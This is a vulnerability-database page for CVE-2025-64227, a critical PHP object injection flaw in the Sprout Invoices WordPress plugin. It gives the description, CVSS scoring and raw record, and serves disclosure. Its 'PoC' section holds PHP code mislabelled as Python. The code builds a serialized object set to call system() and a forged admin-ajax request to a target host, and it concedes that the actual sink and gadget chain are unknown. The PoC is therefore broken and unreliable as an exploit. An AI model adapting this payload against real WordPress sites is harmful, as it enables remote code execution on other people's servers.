Security Vulnerability Report
中文
CVE-2025-64227 CVSS 9.8 CRITICAL

CVE-2025-64227

Published: 2025-12-18 08:16:12
Last Modified: 2026-04-15 00:35:42

Description

Deserialization of Untrusted Data vulnerability in BoldGrid Client Invoicing by Sprout Invoices sprout-invoices allows Object Injection.This issue affects Client Invoicing by Sprout Invoices: from n/a through <= 20.8.7.

CVSS Details

CVSS Score
9.8
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

sprout-invoices <= 20.8.7

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<?php /** * CVE-2025-64227 PoC - Sprout Invoices PHP Object Injection * Requires a PHP gadget chain present in the target environment */ // Generate malicious serialized payload class MaliciousPayload { public $callback; public function __construct() { // Using system() to execute arbitrary commands $this->callback = 'system'; } } // Example: Targeting a vulnerable unserialize() call // Replace 'vulnerable_param' with actual parameter name from plugin $vulnerable_data = 'POST /wp-admin/admin-ajax.php HTTP/1.1\r\n'; $vulnerable_data .= 'Host: target.com\r\n'; $vulnerable_data .= 'Content-Type: application/x-www-form-urlencoded\r\n\r\n'; $vulnerable_data .= 'action=si_process_estimate&estimate_data=' . urlencode(serialize(new MaliciousPayload())); echo "Generated Payload: " . serialize(new MaliciousPayload()) . "\n"; echo "\nNote: Actual exploitation requires identifying specific unserialize() sink in plugin code\n"; echo "And finding appropriate POP chain or PHP built-in classes for code execution\n"; ?>

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-64227", "sourceIdentifier": "[email protected]", "published": "2025-12-18T08:16:12.417", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Deserialization of Untrusted Data vulnerability in BoldGrid Client Invoicing by Sprout Invoices sprout-invoices allows Object Injection.This issue affects Client Invoicing by Sprout Invoices: from n/a through <= 20.8.7."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-502"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/sprout-invoices/vulnerability/wordpress-client-invoicing-by-sprout-invoices-plugin-20-8-7-php-object-injection-vulnerability?_s_id=cve", "source": "[email protected]"}]}}